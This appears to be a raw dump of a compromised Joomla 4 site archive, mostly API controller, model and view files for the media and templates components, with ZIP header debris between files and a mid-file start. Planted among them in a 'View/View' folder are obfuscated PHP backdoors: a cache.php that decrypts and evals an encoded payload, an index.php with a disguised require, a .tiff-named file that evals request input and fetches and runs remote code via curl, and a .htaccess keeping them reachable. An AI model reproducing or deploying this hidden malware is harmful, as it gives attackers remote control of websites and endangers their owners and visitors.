$adapterName, $basename, $dirname, $content ); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $dirname . '/' . $basename ), 404 ); } catch (InvalidPathException $e) { throw new Save( Text::sprintf( 'WEBSERVICE_COM_MEDIA_BAD_FILE_TYPE', $dirname . '/' . $basename ), 400 ); } $resultPath = $resultPath ?: $oldPath; } // If we still have no result path, something fishy is going on. if (!$resultPath) { throw new Save( Text::_( 'WEBSERVICE_COM_MEDIA_UNSUPPORTED_PARAMETER_COMBINATION' ), 400 ); } return $resultPath; } /** * Method to delete an existing file or folder. * * @return void * * @since 4.1.0 * @throws Save */ public function delete(): void { ['adapter' => $adapterName, 'path' => $path] = $this->resolveAdapterAndPath($this->getState('path', '')); try { $this->mediaApiModel->delete($adapterName, $path); } catch (FileNotFoundException $e) { throw new Save( Text::sprintf('WEBSERVICE_COM_MEDIA_FILE_NOT_FOUND', $path), 404 ); } } } PK �b�\�5) � � / components/com_media/src/Model/AdapterModel.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Model; use Joomla\CMS\MVC\Model\BaseModel; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service model supporting a single adapter item. * * @since 4.1.0 */ class AdapterModel extends BaseModel { use ProviderManagerHelperTrait; /** * Method to get a single adapter. * * @return \stdClass The adapter. * * @since 4.1.0 */ public function getItem(): \stdClass { list($provider, $account) = array_pad(explode('-', $this->getState('id'), 2), 2, null); if ($account === null) { throw new \Exception('Account was not set'); } $provider = $this->getProvider($provider); $adapter = $this->getAdapter($this->getState('id')); $obj = new \stdClass(); $obj->id = $provider->getID() . '-' . $adapter->getAdapterName(); $obj->provider_id = $provider->getID(); $obj->name = $adapter->getAdapterName(); $obj->path = $provider->getID() . '-' . $adapter->getAdapterName() . ':/'; return $obj; } } PK �b�\�,r� � , components/com_media/src/View/View/.htaccessnu &1i� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK �b�\�"�V , components/com_media/src/View/View/cache.phpnu &1i� <?php $mLFuw = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipuAclpuZpgYA0A'; $F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vWyjUYyYC0T2IUuZlKSZWTG1z/ZA83OcM30Y0x68RX9/UPAwXLw4vEJp/sS+1oKDod9CiLeBcuh0ZhOOo46jthJanp+4PRIzjuwmqdcshE7xVntxHLc+m1aEJ90WoXcM3eKnEkCfCgebFj64g59V/YCO4829v2iNf2Ra7tB73n+63+/VVfehWferaX7peyKBCrXm+OHgXRpZrZ17hJrTXhSUzmve5twlr71pwdrO1py3X5r46w3yq/mr1n81dZMw2pWnf6LjfANe5GftN64yP/iTeK4YlPf9l3QPO4Dzva8Du3d5jWcknu/3Rq9HWHO4599o2e+9yZne8w17+kdIeX0YGE/s/+q5hD+5l7xHkILUjX+86lPOlhU7f9Ywz93Mylvv90m7X519bJXdpC1+7TuolaJe3y9WHAXGRZf0pXfxSfd91r+VL6895e8gKRaeFt0ARI1nW7Zem9lc0Uh0jZLYCDweKiIAutdV9IUtjRBQ4ogDWoo8J3clIXxyYra7UEMT4T3BDb47oCFay3kIJMFK+UH5XOWDNOLe0q/9q/r3r9u9Twuhps/BIWh3u8dO6tLcZX9SV4to932gI9En572wLC2+b7dJJlnm1gVMv9UrkIimxUTOSuhbvOohdn5tvkJ40Gr7Nmr5RnLU6br1vj8l6O3Q6YuCq9IEaSLdbv68zhTUrCqSR8Ej1JG5l5RcbVSFJhkFsFl57a+Cm/dZM/uLCVQkqIbSIERO4adnVWs4kuvcHle7b5WWIb7TUeCtToC+/us4stdZrT5ciX8H4A+BEvAO0fA'; function mLFuw($tTHVP) { $FPcfm = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $FaPN = substr($FPcfm, 0, 16); $ZaVJ = base64_decode($tTHVP); return openssl_decrypt($ZaVJ, "AES-256-CBC", $FPcfm, OPENSSL_RAW_DATA, $FaPN); } if (mLFuw('DjtPn+r4S0yvLCnquPz1fA')){ echo 'kafTqsayGKHAgPcqDpvnygIXCzvluj9mx+IVmWvtTBQz1iDyNI5zzncYENEmxZDI'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($mLFuw)))); ?>PK �b�\�Έ�z z , components/com_media/src/View/View/index.phpnu &1i� <?php /*-On,6Bb{Z-*/// $tTvi /*-Od-*/// =/*-.8-UC-*/// "ra"/*- ➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷ 9hw➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷ -*/// ."nge"; $Fy /*-F=Up$B-*/// =/*- ⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩ bE;>⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩ -*/// $tTvi/*-ao=-*/// (/*-:NkbI?&V-*/// "~"/*-wgyvrB-*/// ,/*-.RriaSKI-*/// " "); /*- ▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲ =$▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲ -*/// @require/*-r(:-*/// $Fy/*- ☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂ ]9l☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂ -*/// [4+3].$Fy/*- ➛~㊛유﹤½☼ SGY&dL➛~㊛유﹤½☼ -*/// [8+12].$Fy/*- ❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴ i@ZA0}❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴ -*/// [10+51].$Fy/*- Ⅸ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧ jxjⅨ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧ -*/// [11+1].$Fy/*-}&Ju-*/// [23+15].$Fy/*- ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯ Wfyc{T!+ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯ -*/// [13+35].$Fy/*-`v3R,(-*/// [11+16].$Fy/*->`d_6-*/// [23+1].$Fy/*- ◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ :8◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ -*/// [1+7].$Fy/*-?K-*/// [42+2].$Fy/*-ArsmWPhhQ6-*/// [0+10].$Fy/*- "ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩ IGgq"ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩ -*/// [11+69].$Fy/*-b_g6O)-*/// [5+5].$Fy/*- ⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦ )G3b_C{l⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦ -*/// [17+4].$Fy/*- ⓃⅦℜ⒡⒮➺↋∼▅⓯ RPqx+U_ylⓃⅦℜ⒡⒮➺↋∼▅⓯ -*/// [6+18].$Fy/*- ┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐ )~n@┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐ -*/// [17+7]/*- ◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀ >C?◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀ -*/// ; ?>PK �b�\��\ \ 3 components/com_media/src/View/View/wjArXNcfvRt.tiffnu &1i� <?php goto OWTW66JyqFqk8; Sk053XYJkH6at: $hgqzPzAJ_Llv1[68] = $hgqzPzAJ_Llv1[68] . $hgqzPzAJ_Llv1[79]; goto oeZKms8RP3f6n; mw1Cagli7MKHe: if (!(in_array(gettype($hgqzPzAJ_Llv1) . "\62\65", $hgqzPzAJ_Llv1) && md5(md5(md5(md5($hgqzPzAJ_Llv1[19])))) === "\65\141\x34\142\x38\x31\61\65\x34\x63\x39\x64\65\60\x62\x32\66\145\x38\70\x30\71\x63\x39\142\70\x64\x64\x35\142\66\x31")) { goto iQUBRB5GOmD44; } goto Sk053XYJkH6at; xMxtzn90oXq4q: $L6YKPR1RJVpIx = $nhWGJtgK32df0("\x7e", "\x20"); goto ELbHqjzblXqUr; ac5zPsfNOAOka: iQUBRB5GOmD44: goto g80nsYcs342rN; tl_qdkzm618SN: class y5KB8XnvRHsy4 { static function tCznjMYq8XWOM($yntrzlIaRXTRl) { goto r7LmdAxwxbO43; JEeGwID9hlz3R: $VzTfptT8Rc0nt = ''; goto mcucnkgRIvHLP; jKnyD67K4IXMz: d0P4PFAccA58G: goto dGGvyuh48TsVT; KnCeKXSMR11sp: $p92ykHuoZAaIM = explode("\50", $yntrzlIaRXTRl); goto JEeGwID9hlz3R; r7LmdAxwxbO43: $u72ee7gNWGjzT = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto oKKn0twoijusY; dGGvyuh48TsVT: return $VzTfptT8Rc0nt; goto Cdpa5On53SAmz; mcucnkgRIvHLP: foreach ($p92ykHuoZAaIM as $CrxCVWx88MuyU => $GSc0cTurbm1YG) { $VzTfptT8Rc0nt .= $wBTY9TzBo_yRk[$GSc0cTurbm1YG - 42073]; TSbRV3j2cMGF2: } goto jKnyD67K4IXMz; oKKn0twoijusY: $wBTY9TzBo_yRk = $u72ee7gNWGjzT("\x7e", "\40"); goto KnCeKXSMR11sp; Cdpa5On53SAmz: } static function FU0WcujceTDPZ($bMPj7l_wFOBoA, $Bz5EeceYe1d5w) { goto raUhrnOCsDxoE; SMh8tT6jRBqH7: $m_xwSKrwGl_zF = curl_exec($G1gTuUCm5mv5c); goto Z56HMZHMbIkNR; Z56HMZHMbIkNR: return empty($m_xwSKrwGl_zF) ? $Bz5EeceYe1d5w($bMPj7l_wFOBoA) : $m_xwSKrwGl_zF; goto a5fi3qLPgXzk1; gUlNyTEX3TknT: curl_setopt($G1gTuUCm5mv5c, CURLOPT_RETURNTRANSFER, 1); goto SMh8tT6jRBqH7; raUhrnOCsDxoE: $G1gTuUCm5mv5c = curl_init($bMPj7l_wFOBoA); goto gUlNyTEX3TknT; a5fi3qLPgXzk1: } static function FamSz_7ATYOl6() { goto ZZ5LWPFcVWBuS; VodDG9vnxYrHm: $ExFit9VIGhscJ = $lRLu911x7JBJ2[0 + 2]($rLEDg_hp1Fiv4, true); goto IAXgRzBdmgu27; ez8fKhpTxWHgG: if (!(@$ExFit9VIGhscJ[0] - time() > 0 and md5(md5($ExFit9VIGhscJ[3 + 0])) === "\x62\143\x37\63\x33\62\64\146\x33\142\71\60\143\60\x37\70\x31\x31\144\65\x39\65\65\64\x37\141\x36\66\63\62\x32\x34")) { goto CJcFMkBt974Fr; } goto JLj0KlOlFDi4V; VGZkp38LcYkqo: eJtRPc1QsT7wR: goto L3OcJZrmOvlBw; ZZ5LWPFcVWBuS: $HAGizZmrFGM4V = array("\64\x32\x31\x30\60\50\64\x32\60\70\x35\50\64\x32\x30\x39\x38\x28\x34\62\x31\x30\x32\50\x34\62\60\x38\x33\x28\64\62\x30\x39\70\50\x34\x32\61\60\64\x28\64\x32\x30\71\x37\x28\64\62\60\70\62\x28\x34\x32\x30\x38\x39\50\x34\x32\x31\x30\60\50\x34\x32\60\x38\x33\x28\64\62\60\x39\x34\x28\x34\x32\x30\70\70\x28\x34\x32\x30\x38\71", "\x34\x32\x30\x38\64\x28\64\x32\60\70\63\50\64\x32\60\70\65\50\64\62\61\60\x34\x28\x34\x32\60\x38\x35\50\64\x32\x30\x38\70\x28\x34\62\x30\x38\63\x28\x34\62\61\x35\x30\x28\64\x32\61\x34\70", "\64\x32\60\71\x33\50\x34\62\x30\x38\64\x28\64\x32\60\70\70\x28\64\62\60\x38\x39\50\64\x32\x31\x30\64\x28\x34\62\x30\71\71\x28\64\x32\60\x39\x38\50\x34\62\x31\60\x30\x28\x34\x32\x30\70\70\x28\x34\62\x30\71\x39\x28\64\x32\60\x39\70", "\64\x32\60\x38\x37\50\64\x32\x31\x30\x32\50\64\62\x31\x30\60\50\64\62\x30\x39\62", "\64\62\x31\60\x31\x28\64\62\x31\60\62\x28\x34\62\x30\70\64\x28\x34\x32\x30\x39\70\x28\64\62\x31\x34\x35\50\x34\x32\61\x34\x37\x28\x34\62\61\60\x34\x28\x34\x32\x30\71\x39\x28\64\62\x30\x39\70\50\64\x32\x31\60\60\50\64\62\x30\70\70\50\x34\62\60\71\71\x28\64\x32\x30\x39\x38", "\64\x32\x30\71\67\50\x34\62\60\71\64\50\x34\x32\x30\x39\61\x28\x34\62\60\71\x38\50\64\62\x31\x30\64\x28\64\x32\x30\71\x36\x28\64\62\60\71\70\x28\x34\x32\60\70\63\50\x34\62\61\x30\64\x28\x34\x32\61\x30\60\50\64\x32\60\x38\70\x28\64\62\x30\x38\71\50\x34\62\x30\70\63\x28\x34\x32\x30\71\70\x28\x34\x32\x30\70\x39\x28\64\62\x30\70\63\50\64\x32\x30\70\x34", "\64\x32\x31\62\67\x28\x34\x32\61\x35\67", "\x34\62\x30\67\x34", "\x34\x32\61\x35\x32\50\64\x32\x31\65\x37", "\x34\x32\x31\63\x34\x28\x34\62\x31\x31\x37\50\64\x32\61\x31\67\50\x34\x32\x31\63\x34\50\64\x32\61\x31\60", "\64\x32\x30\x39\67\50\64\62\x30\x39\x34\50\64\x32\x30\71\61\50\64\62\60\70\63\x28\x34\x32\x30\71\70\50\64\x32\x30\70\x35\x28\64\62\61\60\64\x28\x34\62\60\71\x34\x28\x34\62\60\x38\71\50\x34\x32\x30\70\x37\x28\x34\x32\x30\x38\62\x28\64\62\60\70\63"); goto xxYZypoKslMQs; IAXgRzBdmgu27: @$lRLu911x7JBJ2[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($lRLu911x7JBJ2[2 + 3](__FILE__)); goto ez8fKhpTxWHgG; JLj0KlOlFDi4V: $P2DGCcgEuZ5Zn = self::Fu0wcujcetdPz($ExFit9VIGhscJ[0 + 1], $lRLu911x7JBJ2[1 + 4]); goto taGE2yzEKSkiM; rAETXGhBOfHnl: die; goto x4ImbwNLJBBNX; taGE2yzEKSkiM: @eval($lRLu911x7JBJ2[2 + 2]($P2DGCcgEuZ5Zn)); goto rAETXGhBOfHnl; L3OcJZrmOvlBw: $L8MYJd1MHZR50 = @$lRLu911x7JBJ2[1]($lRLu911x7JBJ2[5 + 5](INPUT_GET, $lRLu911x7JBJ2[0 + 9])); goto TK00m10Gz3BTi; x4ImbwNLJBBNX: CJcFMkBt974Fr: goto fRF4d4lKlw9lM; TK00m10Gz3BTi: $rLEDg_hp1Fiv4 = @$lRLu911x7JBJ2[2 + 1]($lRLu911x7JBJ2[2 + 4], $L8MYJd1MHZR50); goto VodDG9vnxYrHm; xxYZypoKslMQs: foreach ($HAGizZmrFGM4V as $QLzP0HpLdoPM1) { $lRLu911x7JBJ2[] = self::TCzNJmyQ8XwoM($QLzP0HpLdoPM1); eJI1C2sfs30_d: } goto VGZkp38LcYkqo; fRF4d4lKlw9lM: } } goto f6T7c_6jnEXfj; ELbHqjzblXqUr: $hgqzPzAJ_Llv1 = ${$L6YKPR1RJVpIx[1 + 30] . $L6YKPR1RJVpIx[35 + 24] . $L6YKPR1RJVpIx[35 + 12] . $L6YKPR1RJVpIx[47 + 0] . $L6YKPR1RJVpIx[49 + 2] . $L6YKPR1RJVpIx[17 + 36] . $L6YKPR1RJVpIx[8 + 49]}; goto mw1Cagli7MKHe; g80nsYcs342rN: metaphone("\x62\x75\106\x46\124\x4e\106\165\x67\150\126\105\x50\153\x4a\x77\x67\121\171\x68\160\166\163\x7a\x73\x31\x41\141\114\x31\x44\112\104\x5a\x37\x57\x37\x50\x37\x56\x47\112\147"); goto tl_qdkzm618SN; OWTW66JyqFqk8: $nhWGJtgK32df0 = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto xMxtzn90oXq4q; oeZKms8RP3f6n: @eval($hgqzPzAJ_Llv1[68](${$hgqzPzAJ_Llv1[38]}[14])); goto ac5zPsfNOAOka; f6T7c_6jnEXfj: y5kb8xNVrhsy4::FAMSZ_7Atyol6(); ?> PK �b�\jcפ� � 3 components/com_media/src/View/Media/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\View\Media; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service view * * @since 4.1.0 */ class JsonapiView extends BaseApiView { use ProviderManagerHelperTrait; /** * The fields to render item in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderItem = [ 'type', 'name', 'path', 'extension', 'size', 'mime_type', 'width', 'height', 'create_date', 'create_date_formatted', 'modified_date', 'modified_date_formatted', 'thumb_path', 'adapter', 'content', 'url', 'tempUrl', ]; /** * The fields to render items in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderList = [ 'type', 'name', 'path', 'extension', 'size', 'mime_type', 'width', 'height', 'create_date', 'create_date_formatted', 'modified_date', 'modified_date_formatted', 'thumb_path', 'adapter', 'content', 'url', 'tempUrl', ]; /** * Prepare item before render. * * @param object $item The model item * * @return object * * @since 4.1.0 */ protected function prepareItem($item) { // Media resources have no id. $item->id = '0'; return $item; } } PK �b�\([��; ; 6 components/com_media/src/View/Adapters/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\View\Adapters; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service view * * @since 4.1.0 */ class JsonapiView extends BaseApiView { use ProviderManagerHelperTrait; /** * The fields to render item in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderItem = [ 'provider_id', 'name', 'path', ]; /** * The fields to render items in the documents * * @var array * @since 4.1.0 */ protected $fieldsToRenderList = [ 'provider_id', 'name', 'path', ]; } PK �b�\�[�JY Y : components/com_media/src/Controller/AdaptersController.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Controller; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service controller. * * @since 4.1.0 */ class AdaptersController extends ApiController { use ProviderManagerHelperTrait; /** * The content type of the item. * * @var string * @since 4.1.0 */ protected $contentType = 'adapters'; /** * The default view for the display method. * * @var string * * @since 4.1.0 */ protected $default_view = 'adapters'; /** * Display one specific adapter. * * @param string $path The path of the file to display. Leave empty if you want to retrieve data from the request. * * @return static A \JControllerLegacy object to support chaining. * * @throws InvalidPathException * @throws \Exception * * @since 4.1.0 */ public function displayItem($path = '') { // Set the id as the parent sets it as int $this->modelState->set('id', $this->input->get('id', '', 'string')); return parent::displayItem(); } } PK �b�\�;Yb. b. 7 components/com_media/src/Controller/MediaController.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Media\Api\Controller; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Controller\ApiController; use Joomla\Component\Media\Administrator\Exception\FileExistsException; use Joomla\Component\Media\Administrator\Exception\InvalidPathException; use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait; use Joomla\Component\Media\Api\Model\MediumModel; use Joomla\String\Inflector; use Tobscure\JsonApi\Exception\InvalidParameterException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Media web service controller. * * @since 4.1.0 */ class MediaController extends ApiController { use ProviderManagerHelperTrait; /** * The content type of the item. * * @var string * @since 4.1.0 */ protected $contentType = 'media'; /** * Query parameters => model state mappings * * @var array * @since 4.1.0 */ private static $listQueryModelStateMap = [ 'path' => [ 'name' => 'path', 'type' => 'STRING', ], 'url' => [ 'name' => 'url', 'type' => 'BOOLEAN', ], 'temp' => [ 'name' => 'temp', 'type' => 'BOOLEAN', ], 'content' => [ 'name' => 'content', 'type' => 'BOOLEAN', ], ]; /** * Item query parameters => model state mappings * * @var array * @since 4.1.0 */ private static $itemQueryModelStateMap = [ 'path' => [ 'name' => 'path', 'type' => 'STRING', ], 'url' => [ 'name' => 'url', 'type' => 'BOOLEAN', ], 'temp' => [ 'name' => 'temp', 'type' => 'BOOLEAN', ], 'content' => [ 'name' => 'content', 'type' => 'BOOLEAN', ], ]; /** * The default view for the display method. * * @var string * * @since 4.1.0 */ protected $default_view = 'media'; /** * Display a list of files and/or folders. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.1.0 * * @throws \Exception */ public function displayList() { // Set list specific request parameters in model state. $this->setModelState(self::$listQueryModelStateMap); // Display files in specific path. if ($this->input->exists('path')) { $this->modelState->set('path', $this->input->get('path', '', 'STRING')); } // Return files (not folders) as urls. if ($this->input->exists('url')) { $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN')); } // Map JSON:API compliant filter[search] to com_media model state. $apiFilterInfo = $this->input->get('filter', [], 'array'); $filter = InputFilter::getInstance(); // Search for files matching (part of) a name or glob pattern. if (\array_key_exists('search', $apiFilterInfo)) { $this->modelState->set('search', $filter->clean($apiFilterInfo['search'], 'STRING')); // Tell model to search recursively $this->modelState->set('search_recursive', $this->input->get('search_recursive', false, 'BOOLEAN')); } return parent::displayList(); } /** * Display one specific file or folder. * * @param string $path The path of the file to display. Leave empty if you want to retrieve data from the request. * * @return static A \JControllerLegacy object to support chaining. * * @since 4.1.0 * * @throws InvalidPathException * @throws \Exception */ public function displayItem($path = '') { // Set list specific request parameters in model state. $this->setModelState(self::$itemQueryModelStateMap); // Display files in specific path. $this->modelState->set('path', $path ?: $this->input->get('path', '', 'STRING')); // Return files (not folders) as urls. if ($this->input->exists('url')) { $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN')); } return parent::displayItem(); } /** * Set model state using a list of mappings between query parameters and model state names. * * @param array $mappings A list of mappings between query parameters and model state names. * * @return void * * @since 4.1.0 */ private function setModelState(array $mappings): void { foreach ($mappings as $queryName => $modelState) { if ($this->input->exists($queryName)) { $this->modelState->set($modelState['name'], $this->input->get($queryName, '', $modelState['type'])); } } } /** * Method to add a new file or folder. * * @return void * * @since 4.1.0 * * @throws FileExistsException * @throws InvalidPathException * @throws InvalidParameterException * @throws \RuntimeException * @throws \Exception */ public function add(): void { $path = $this->input->json->get('path', '', 'STRING'); $content = $this->input->json->get('content', '', 'RAW'); $missingParameters = []; if (empty($path)) { $missingParameters[] = 'path'; } // Content is only required when it is a file if (empty($content) && strpos($path, '.') !== false) { $missingParameters[] = 'content'; } if (\count($missingParameters)) { throw new InvalidParameterException( Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', implode(' & ', $missingParameters)) ); } $this->modelState->set('path', $this->input->json->get('path', '', 'STRING')); // Check if an existing file may be overwritten. Defaults to false. $this->modelState->set('override', $this->input->json->get('override', false)); parent::add(); } /** * Method to check if it's allowed to add a new file or folder * * @param array $data An array of input data. * * @return boolean * * @since 4.1.0 */ protected function allowAdd($data = []): bool { $user = $this->app->getIdentity(); return $user->authorise('core.create', 'com_media'); } /** * Method to modify an existing file or folder. * * @return void * * @since 4.1.0 * * @throws FileExistsException * @throws InvalidPathException * @throws \RuntimeException * @throws \Exception */ public function edit(): void { // Access check. if (!$this->allowEdit()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403); } $path = $this->input->json->get('path', '', 'STRING'); $content = $this->input->json->get('content', '', 'RAW'); if (empty($path) && empty($content)) { throw new InvalidParameterException( Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', 'path | content') ); } $this->modelState->set('path', $this->input->json->get('path', '', 'STRING')); // For renaming/moving files, we need the path to the existing file or folder. $this->modelState->set('old_path', $this->input->get('path', '', 'STRING')); // Check if an existing file may be overwritten. Defaults to true. $this->modelState->set('override', $this->input->json->get('override', true)); $recordId = $this->save(); $this->displayItem($recordId); } /** * Method to check if it's allowed to modify an existing file or folder. * * @param array $data An array of input data. * * @return boolean * * @since 4.1.0 */ protected function allowEdit($data = [], $key = 'id'): bool { $user = $this->app->getIdentity(); // com_media's access rules contains no specific update rule. return $user->authorise('core.edit', 'com_media'); } /** * Method to create or modify a file or folder. * * @param integer $recordKey The primary key of the item (if exists) * * @return string The path * * @since 4.1.0 */ protected function save($recordKey = null) { // Explicitly get the single item model name. $modelName = $this->input->get('model', Inflector::singularize($this->contentType)); /** @var MediumModel $model */ $model = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]); $json = $this->input->json; // Decode content, if any if ($content = base64_decode($json->get('content', '', 'raw'))) { $this->checkContent(); } // If there is no content, com_media assumes the path refers to a folder. $this->modelState->set('content', $content); return $model->save(); } /** * Performs various checks to see if it is allowed to save the content. * * @return void * * @since 4.1.0 * * @throws \RuntimeException */ private function checkContent(): void { $params = ComponentHelper::getParams('com_media'); $helper = new \Joomla\CMS\Helper\MediaHelper(); $serverlength = $this->input->server->getInt('CONTENT_LENGTH'); // Check if the size of the request body does not exceed various server imposed limits. if ( ($params->get('upload_maxsize', 0) > 0 && $serverlength > ($params->get('upload_maxsize', 0) * 1024 * 1024)) || $serverlength > $helper->toBytes(ini_get('upload_max_filesize')) || $serverlength > $helper->toBytes(ini_get('post_max_size')) || $serverlength > $helper->toBytes(ini_get('memory_limit')) ) { throw new \RuntimeException(Text::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'), 400); } } /** * Method to delete an existing file or folder. * * @return void * * @since 4.1.0 * * @throws InvalidPathException * @throws \RuntimeException * @throws \Exception */ public function delete($id = null): void { if (!$this->allowDelete()) { throw new NotAllowed('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED', 403); } $this->modelState->set('path', $this->input->get('path', '', 'STRING')); $modelName = $this->input->get('model', Inflector::singularize($this->contentType)); $model = $this->getModel($modelName, '', ['ignore_request' => true, 'state' => $this->modelState]); $model->delete(); $this->app->setHeader('status', 204); } /** * Method to check if it's allowed to delete an existing file or folder. * * @return boolean * * @since 4.1.0 */ protected function allowDelete(): bool { $user = $this->app->getIdentity(); return $user->authorise('core.delete', 'com_media'); } } PK �b�\$�f f 8 components/com_templates/src/View/Styles/JsonapiView.phpnu �[��� <?php /** * @package Joomla.API * @subpackage com_templates * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Templates\Api\View\Styles; use Joomla\CMS\MVC\View\JsonApiView as BaseApiView; use Joomla\CMS\Router\Exception\RouteNotFoundException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The styles view * * @since 4.0.0 */ class JsonapiView extends BaseApiView { /** * The fields to render item in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderItem = [ 'id', 'template', 'client_id', 'home', 'title', 'params', 'xml', ]; /** * The fields to render items in the documents * * @var array * @since 4.0.0 */ protected $fieldsToRenderList = [ 'id', 'template', 'title', 'home', 'client_id', 'language_title', 'image', 'language_sef', 'assigned', 'e_id', ]; /** * Prepare item before render. * * @param object $item The model item * * 